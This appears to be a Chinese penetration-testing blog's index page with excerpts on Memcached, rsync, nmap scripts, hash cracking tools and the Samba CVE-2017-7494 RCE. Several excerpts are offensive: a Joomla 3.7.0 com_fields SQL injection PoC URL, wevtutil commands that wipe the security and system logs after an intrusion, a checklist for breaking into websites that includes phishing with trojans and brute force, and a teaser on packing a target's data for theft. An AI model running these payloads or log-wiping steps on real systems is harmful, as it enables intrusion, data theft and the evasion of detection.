针对 Memcached 的攻防基础



0x01 一些常见的 Nosql 数据库

1
2
3
4
memcached 基于纯内存缓存,也就是说,服务只要一重启所有数据就会丢失,但它操作简单,易于上手,相对高效
redis 既可以基于内存缓存亦可基于硬盘持久存储,另外,它所支持的数据类型相对较多,功能也较完善
MongDB
...

此次演示环境

1
2
3
CentOS6_x86_64 ip: 192.168.3.65
OldLnmp ip: 192.168.3.42
Ubuntu16.04.3 ip: 192.168.3.12

0x02 Memcached 缓存实际中简单的应用场景

1
2
基于纯内存缓存,速度快,同样,也是基于 C客户端 / S服务端 的工作模式,而libevent其实就是一个支持epoll/kqueue异步I/O模型的接口
Memcached 在实际生产中主要是用来存放用户经常要访问到的一些高频关键字,加快数据库命中,减轻后端数据库压力,提高数据响应速度...

Read More

服务安全 [ rsync ]

关于 Rsync

1
一款开源的,功能繁多的,同时支持对本地和远程进行全量或增量的备份工具,主要用于不同服务器间进行数据同步,默认使用增量备份

0x01 rsync 演示环境 [ Rsync服务端系统为 centOS6.8_x64 最小化安装 ]

1
2
rsync 服务端:
RsyncServer ip: 192.168.5.4

1
2
3
rsync 客户端:
RsyncClient26 ip: 192.168.5.7 Fedora 26 x86_64
RsyncClient14 ip: 192.168.5.8 Ubuntu 14.04.3 LTS x86_64

0x02 对于 rsync 来讲,不管推还是拉,在此之前都会自动和之前的文件进行比对,只要有文件属性或者内容发生改变就重新备份,否则不会有任何动作,即先比较后同步,另外,rsync 默认同步时是不加密的,可使用 ssh隧道 的方式来进行加密同步

1
2
3
4
5
6
7
8
远程拷贝 [ 加密拷贝 ]: 相当于scp
# scp /root/pentest.txt root@192.168.5.4:/tmp/hacked.txt
本地拷贝: 相当于cp
# cp -R /etc/ /webbak/
删除文件: 相当于rm
# rm -fr /webbak/etc/

Read More

inotify + rsync 快速实现 '小剂量' 实时同步



0x01 利用 intify 做实时同步,实现如下适合文件并发较少文件较小的备份场景中,一般并发范围在200-300个小文件,延迟基本是很小的,如果超过这个量就比较吃力了:

1
要备份的目录 + inotify -> inotify会一直监控该目录的变化,只要所监控的目录一有变化,就把新生成的文件或者目录自动推到备份服务器上

0x02 准备好环境:

1
2
RsyncServer 一台已经事先配置好的Rsync服务器
RsyncClient26 再准备一台已经事先配置好的Rsync客户端,因为等会儿就在这台机器上安装inotify,也就是说,只要监控到客户端一有数据更新,就自动往服务端推

0x03 开始在rsync客户端上编译安装 inotiy:

1
# ls -l /proc/sys/fs/inotify/ 首先,查看当前内核是否支持,如果出现以下三个文件则表示支持

1
2
3
4
5
6
7
8
# wget https://jaist.dl.sourceforge.net/project/inotify-tools/inotify-tools/3.13/inotify-tools-3.13.tar.gz
# tar xf inotify-tools-3.13.tar.gz
# cd inotify-tools-3.13
# ./configure --prefix=/usr/local/inotify-tools-3.13 && make && make install
# echo $?
# ln -s /usr/local/inotify-tools-3.13/ /usr/local/inotify
# ls -l /usr/local/inotify/
# cd /usr/local/inotify-tools-3.13/bin/

Read More

从入侵者的眼中去理解 http 协议

0x01 前言
    不管对于web开发亦或是渗透来讲,熟练掌握http协议的核心运作要点都是入门必备科目,如果连这些最基础的东西都没掌握熟练,又何谈下一步呢,因为http会贯穿于后续整个web渗透过程,当然啦,就http协议本身来讲,还是非常非常复杂的,单单靠一篇文章就想全面透彻的掌握http协议,毕竟不太现实,所以我们今天也只是模拟站在一个专业入侵者的角度上来重新理解http协议最核心的一些点,中间也会穿插着说明这些点容易带来的一些安全问题,如果大家真的非常有兴趣,想继续深入学习http协议,建议参考 《http权威指南》,着实是本http方面的好书,起码,个人是这样觉得的,既然是说协议,也就意味着某些东西可能会有些抽象,不过大家不用担心,我会用尽量用最容易理解的方式把它说明白,废话到此为止,咱们开始

0x02 初始 http 简要工作过程
  客户端向web服务器请求所指定的资源(request) => web服务器(默认端口通常为80,8080)
  web服务器响应给客户端所请求的对应的资源数据(response) => 客户端(随机端口和目标web服务端口进行连接)
  简单来讲,http就是一套用来规定”请求(request)”和”响应(response)”的规范,以此来保证客户端和服务端能够正常的进行通信
  用白话来讲 客户端向服务器端请求,然后服务器端把被请求的东西交给客户端 这就算一次完整的http通信

Read More

web渗透基本流程小结 [ 边界1 ]



如果是针对某种开源程序[ 如,wordpress,drupal,joomla,discuz,opencart,phpbb,SquirrelMail…… ]:

1
2
先想办法确定其对应的具体版本号,然后去找下该版本曾经爆过的一些exp并尝试利用,不过在此之前,最好先自己在本地搭环境测一下,成功以后再丢到目标上去搞不迟
只不过,你可能事先需要对各种开源程序拿shell的方式比较熟悉

如果是针对非开源程序[ 应该尽量先直奔一些比较高危的漏洞去,因为我们最终的目的可能还是想快速get到目标的webshell,没必要在一些边缘性的漏洞利用上浪费太多的时间 ]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
首先,找目标网站的各种web入口[ 这里并不仅限目标网站后台,如,各种数据库的web管理入口(phpmyadmin),各类java控制台……都是可以的,如果连入口都没有,后面有些漏洞利用就比较尴尬了],找到以后,可以先顺手简单尝试些弱口令[尽量多试几个,没有验证码的情况下,也可尝试爆破],万能密码[sql注入的一种,需要自己平时多搜集一些],未授权访问[有些后台可能会存在这样的问题,页面权限控制不好所致]
找目标网站的各种上传点[包括各类漏洞编辑器路径],挨个尝试上传……
多翻翻目标网站,仔细观察下请求,尝试利用可能存在包含或者任意文件读取[如,xxe]的各种参数
同样是看请求,找各种可能存在执行,反序列化,ssrf...类的参数进行尝试,说实话,对这类的漏洞,如果不审代码,仅仅单靠盲测[想成功拼接利用还是比较困难的,起码我自己还没有这么成功过,嘿嘿……,话说回来,像命令执行这类的漏洞可以在发邮件的地方顺手尝试下,仅仅对于php而言哈,说不定有惊喜呢],除非一些非常特殊的功能,不过那个,差不多能一眼看出来
扫下目标的svn,如果可以利用的话,看看能不能从里面下到一些目标的敏感配置文件什么的,主要想拿一些账号密码
找各种可能存在sql注入的参数,挨个尝试,观察目标响应
尝试找一些下载点参数,看看能不能把目标的脚本文件也给下下来
找目录遍历,看能不能从中看到一些目标的敏感文件什么的,比如,各种网站,数据库备份文件,各类探针文件,密码文件,源码泄露等等……顺手给下下来
实在不能遍历,不妨尝试用字典[前提是字典要靠谱才行]或者wvs,慢慢跑一下目标站的各种敏感目录文件
如果目标网站起来的时间比较长的话,也可以利用谷歌来爬一些敏感参数,文件及网站错误什么的
看有没有好下手点儿的子域,尝试从那儿进去也是可以的
观察目标站到底用的那种web服务器,具体什么版本的,看看有没有一些可以快速远程利用的exp,比如,tomcat,apache,iis[6.0] 曾经的各种RCE……
如果目标用网站是基于某种框架[strus2,tp……],可以先确定其对应的具体框架版本,然后去找一些针对此框架的exp尝试利用,还是那句话,先自己在本地测成功了,再丢到目标上搞
再如果,目标用的是一些比较不知名的小众程序[嘿嘿……]像wp,joomla,或者drupal这种全球知名的就算了吧,暂时没必要,也没能力去独立审],在上面这些办法都搞不定的情况下,可以尝试把目标用的程序对应版本的的源码搞一份,down下来多花点儿时间好好审审,也许能审出一点点突破
如果你实在觉得,这样手工搞下去,希望不大,不妨直接丢给各种web wvs 自己去扫就好了[当然啦,前提得目标'让'你扫才行,对于那些上了各种waf,ids的目标,还是手工低调的慢慢搞比较好一点],记得尽量把高危的一些规则集事先更新一下,切记,务必慢慢扫[别着急],避免惹一些不必要的麻烦[主要是各类防火墙,频繁的切代理,比较烦,tor也比较慢....]
如果上面的这些还不太好使,这时可以先确定目标站的真实ip[务必是目标站的真实ip,相信这些东西,在信息搜集阶段你就已经搞定了],然后再想办法从旁站搞,如果旁站也不行,可以再试C段[包括C段的web和端口(尤其是sa),实在没办法再试这个,如果都是linux 虚拟机,说实话,不太好提,另外,没必要在C段浪费太多时间,能有一个进去就行了]
关于xss的利用,这里就不多说了,因为个人确实不太擅长这方面[对于自己手里现有的目标想很好的利用起来太难了,有发xss的机会不如直接发马来的更直接],不过需要你自己先把xss平台搭起来[如果你喜欢把beef转发出来也行,随意,看你自己],一般在我自己的目标里,xss还是蛮多的,但利用比较困难,实际给目标发信的效果也并不太好[可能是太多人发过太多次了吧,人基本都不鸟你了],利用这种方式来getshell还是比较曲折的,当然,并不是说它没有用,相反,如果用好了,还是非常牛逼的……
当你把这些都尝试完[可能此时已经过了一个多星期了或者更长时间],依旧一无所获,别伤心,因为还有端口没试过,扫下目标站都跑了什么服务[这里务必是真实目标ip],尝试利用下各种漏洞服务,实在不行,起码你还可以爆破[前提是字典务必要精心做,在前面大量的信息搜集中,相信你已经拿到了一些敏感信息,然后你可以根据已搜集到的这些信息来做字典]
如果你实在觉得端口也没什么希望了,不妨尝试爆破下目标域名的注册邮箱,虽然稍微有点儿偏离目标了,好歹也是个入手点,万一成功了呢,至于后续的劫持社工什么的就要看你自己的了
一边搜集目标邮箱,撞密码,一边找目标的各种内网入口[如,vpn,owa……][如果你确定目标有内网],尝试登陆
如果以上方式全废,而且你手里又没有可直接远程利用0day的情况下,发信吧,简单,粗暴,直接,收获快,虽然现在希望已经越来越小,但万一上了呢,总归是个突破口
当然,真的有条件的情况下,尝试路由或者实地无线渗透,也是可行的[不过,这中间还有很多不确定因素,需要相互配合才行],关于其它的一些东西,自己目前暂时也还在努力学习中,这里不多说了
说了这么多废话,其实就想告诉大家,一直保持住自己良好的学习习惯,不断巩固更新自己现有的知识深度,并且好好坚持下去,这比任何技巧姿势都重要 [始终坚信,所有的复杂都是简单的堆积]
这里纯粹就是自己的一点点经验小结,因为个人能力实在有限,有很多很多的不足是肯定的,虽然这里说的感觉好像很容易,但实际渗透中,远非如此,中间还会有非常非常多的各种各样的问题,等着我们慢慢去解决,自己也一直在努力学习中,希望表哥们能多多交流提携……
待续……

针对 win 的入侵日志简单处理


0x01 前言
    入侵日志处理作为后渗透环节的重要组成部分,可能很多朋友在实际渗透中,对它貌似都并不怎么上心[ 但这确实又很重要 ],利用win带的 wevtutil 日志管理工具[win 7以后自带,03之前的系统就不说了吧,大家都很熟悉了]可以很方便[‘不过,有点儿太方便了’]的帮我们处理一些敏感的系统安全类日志,既然要涉及到系统的安全审计,’管理员权限’ 自然是少不了的:

1
2
3
4
5
6
# wevtutil el | more 查看系统日志列表项
# wevtutil cl "windows powershell" 清除powershell日志
# wevtutil cl "security" 清除系统安全日志
# wevtutil cl "system" 清除系统日志
# wevtutil cl "application" 清除应用程序日志
……

Read More

nmap 进阶使用 [ 脚本篇 ]



0x01 前言

因为今天的重点并非nmap本身使用,这次主要还是想给大家介绍一些在实战中相对比较实用的nmap脚本,所以关于nmap自身的一些选项作用就不再多说了,详情可参考博客端口渗透相关文章,废话少说,我们直接开始,实际中我们可以先用下面的语句,大概扫一眼目标机器或目标C段都跑了什么服务,心里先有个谱,之后才好针对性的出牌嘛:

1
# nmap -sV -sT -Pn --open -v 192.168.3.23

当然,你也可以尝试先获取下目标机器各个服务更详细的banner信息,因为有些服务工具漏洞只能影响特定的版本,所以,提前知道一下还是非常有必要的:

1
# nmap -sT -Pn --open -v banner.nse 192.168.3.23

0x02 和ftp相关的一些漏洞检测脚本:

1
2
ftp-anon.nse 检查目标ftp是否允许匿名登录,光能登陆还不够,它还会自动检测目录是否可读写,如,批量ftp抓鸡
# nmap -p 21 --script ftp-anon.nse -v 192.168.3.23

Read More

Joomla 3.70 com_fields组件sql注入及joomla3.x拿shell



大致 poc 如下:

1
http://192.168.3.23/Joomla_3.7.0-Stable-Full_Package/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=extractvalue(rand(),concat(0x3a,user()))


Read More

利用 rainbowcrack 快速破解 ntlm



0x01 RainbowCrack简介
    今天就来介绍另一款相对比较实用的NTLM hash破解工具,其本质是基于事先生成好的对应各种散列类型的彩虹表,支持GPU[amd/英伟达]加速,通常,就我个人来讲,主要都是用它来跑NTLM的,想比之下,确实要比之前所介绍的两款hash破解工具弱很多,虽然没那么智能,但它使用非简单,极易上手,平台支持也相对比较好,此次暂以win平台为例进行简单演示


0x02 关于 RainbowCrack 套件的基本使用流程,如下

1
创建彩虹表[rtgen] -> 对彩虹表进行排序[rtsort] -> 开始真正的hash破解过程[rcrack]


0x03 开始创建彩虹表
    简单来说,彩虹表内部其实就是由所有可能组合的明文和其所对应的hash组成,类似nosql中的键值对形式[难道是因为这样效率就会很高吗,其实具体的数据结构自己也并不是非常清楚,还是那句话,实际渗透中能上就好],其实说白点还是基于字典,只不过这个字典是经过优化的,rtgen具体参数作用如下:

1
# rtgen.exe hash_algorithm charset plaintext_len_min plaintext_len_max table_index chain_len chain_num part_index

Read More

烦躁的不行……,调了个好看的 PS1



0x01 最近,各种事儿,烦躁的不行,以此发泄下乱七八糟的情绪,顺手分享给大家,坚信生活不只是单调,还有诗和远方:

1
2
3
4
# cd
# vi .bash_profile 把PS1换成下面的语句
PS1="\n\[\033[35m\]\t\[\033[m\] - \[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h :)\n\[\033[33;1m\]\w\[\033[m\] => "
# source .bash_profile


Read More

高速GPU hash破解工作站部署备忘



0x01 首先,购买并组装好所有硬件,插上网线,加电开始测试,仔细观察机器硬件是否都工作正常,确认没问题后,再继续后面的步骤,本次自己用于测试的所有硬件具体型号如下,一套下来三万五左右,说实话这个配置作为GPU破解来讲并不算高 [属于偏下等],如果你不缺钱,完全可以买更好的 ^_^

1
2
3
4
5
supermicro超微7048GR-TR准系统 双路塔式工作站4 GPU运算服务器 |一台
Intel/英特尔 XEON至强 E5-2620 V3 15M 2.4G 612线 |2
金士顿 16G DDR4 REG ECC 2133 服务器内存条 |2
三星(SAMSUNG) 850 PRO 512G SATA3 固态硬盘 |2
NVIDIA技嘉GTX1070 Founders Edition 8G |432G GPU

0x02 下载安装 ubuntu-14.04.5-desktop-amd64,这里为了方便,可以直接将其做成系统启动U盘进行安装,镜像下载地址如下

1
http://releases.ubuntu.com/14.04/ubuntu-14.04.5-desktop-amd64.iso

系统安装完以后还需要进行一些必要的准备工作,首先,全面更新系统

1
2
3
4
# apt-get update && apt-get upgrade -y
# shutdown -r now 像这样的大规模更新完成后,务必立即重启系统
# apt-get install linux-headers-`uname -r` -y 为了防止下面编译过程中出错,这里我就提前把对应的内核头文件都装上了
# shutdown -r now

Read More

快速破解各种散列hash [ john入门篇 ]



0x00 前言
    john[又名JTR] 本身是用来专门破解linux系统用户hash的,但现在已经不再那么局限了,它同样也提供了非常多的散列类型,虽然,跟hashcat在某些方面确实还差了一个量级,但它也有自己很独到的地方,多用你就知道了,废话不多说,咱们开始吧

0x01 尝试在Ubuntu16.04.2 LTS上编译安装john 1.8[当然啦,也有已经编译好对应的win版下的,不过实际破解还是更推荐用linux],像类似的hash破解工具,不用多说,单独找个显卡或者CPU性能好点的机器是必须的,要不,意义何在呢,编译安装的过程就非常简单了,如下[如果嫌手敲的累,自己放脚本里跑跑就好了]

1
2
3
4
5
6
7
8
9
# wget http://www.openwall.com/john/j/john-1.8.0.tar.xz
# tar xvfJ john-1.8.0.tar.xz
# cd john-1.8.0/src
# make 选择对应的系统平台进行编译
# make clean linux-x86-64
# echo $?
# cd ../run/
# ./john --test 测试当前系统的破解速度
# echo $?

Read More

快速破解各种散列hash [ hashcat入门篇 ]


0x00 前言
    最近恰巧刚搞到一批hash,所以就寻思着,要不顺手小结一点关于hash破解的东西吧,反正经常要用,就当留备忘了,顺便也分享给大家,主要还是希望大家都能在实际渗透中能尽快上手用,既是这样,就肯定不会涉及太深,比如,其内部的破解算法具体是如何实现的等…,我们都不会去深入剖析,毕竟,并不是为了去写此类工具,如果真的有兴趣,可自行去读源码[ 起码自己暂时还没那能力 ],经常渗透的朋友可能都非常清楚,由于各种各样的途径,我们经常会搞到各种各样的散列[ hash ],比如,各类web管理用户的密码hash,各类系统用户的密码hash,各种第三方服务器工具配置文件中的hash,各类办公套件文件启动密码的加密hash,等…今天,我们就来简要说明一下关于各类hash破解工具的使用,以备不时之需…其实,明眼人都很清楚,hash破解本质是没啥实际技术含量的[ 前提你自己不写此类工具 ],还是那句话,主要目的还是希望大家能尽快上手,既然是好东西就要想办法把它应用到实际干活儿中,不然,意义何在呢…废话少说,咱们开始介绍今天的第一款hash破解工具,hashcat想必该工具早已家喻户晓[ 关于hash破解的东西,后续我会做成一个单独的系列 ],希望大家能持续关注,你们的支持,会是自己努力创作的源泉,嘿嘿…

Read More

Samba RCE 利用小记 [ CVE-2017-7494 ]



0x01 Samba 远程执行快速利用小结 CVE-2017-7494,至于samba是什么,我就不科普了[说白点儿就是个win和linux机器共享文件的服务,企业里面已经用到烂的东西],直接看过程吧

1
漏洞影响Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本

0x02 关于漏洞的简要描述,说的通俗一点就是’允许samba用户上传自己的类库到可读写的samba目录中’所导致的远程执行:

1
https://www.samba.org/samba/security/CVE-2017-7494.html

Read More

利用目标系统现有工具快速打包目标机器数据



0x01 前言
    几乎对所有渗透者来讲,初衷或者最终目的无非就是想对目标实施长期监控,但,具体怎么监控呢[好吧,那又是个非常大的话题,个人能力现在实在有限],无非就是下些各种各样的资料回来[当然,这可能是所有监控里面最朴实无华的一种],今天,我们单就这一点来做些简要说明,事先声明,可以写脚本[有时候确实不太灵活],但大多数脚本的核心可能还是靠这些东西,废话就先到这儿吧,希望下面的内容能帮到你,写的不好,管用就行

0x02 在linux机器下的快速打包方式[下面这些工具一般在目标机器上都会自带]:

利用 tar,一般在部署系统时默认都会预先装上,其它还有很多其它的压缩工具,但这里就以最常用的为例,只是打包个数据而已,哪个好用用哪个就行了,没必要在这些问题上过于纠结[我们并不是在研究压缩算法]

1
2
3
4
5
6
7
8
--exclude 排除不打包的文件
-c 创建文件
-v 显示打包过程
-f 指定要打包的文件
-z 压缩
-X 把要排除的文件名事先写到文件中然后指定它就可以排除多个了
-C 解压到指定目录中
-p 打包的时候保持原有文件属性

Read More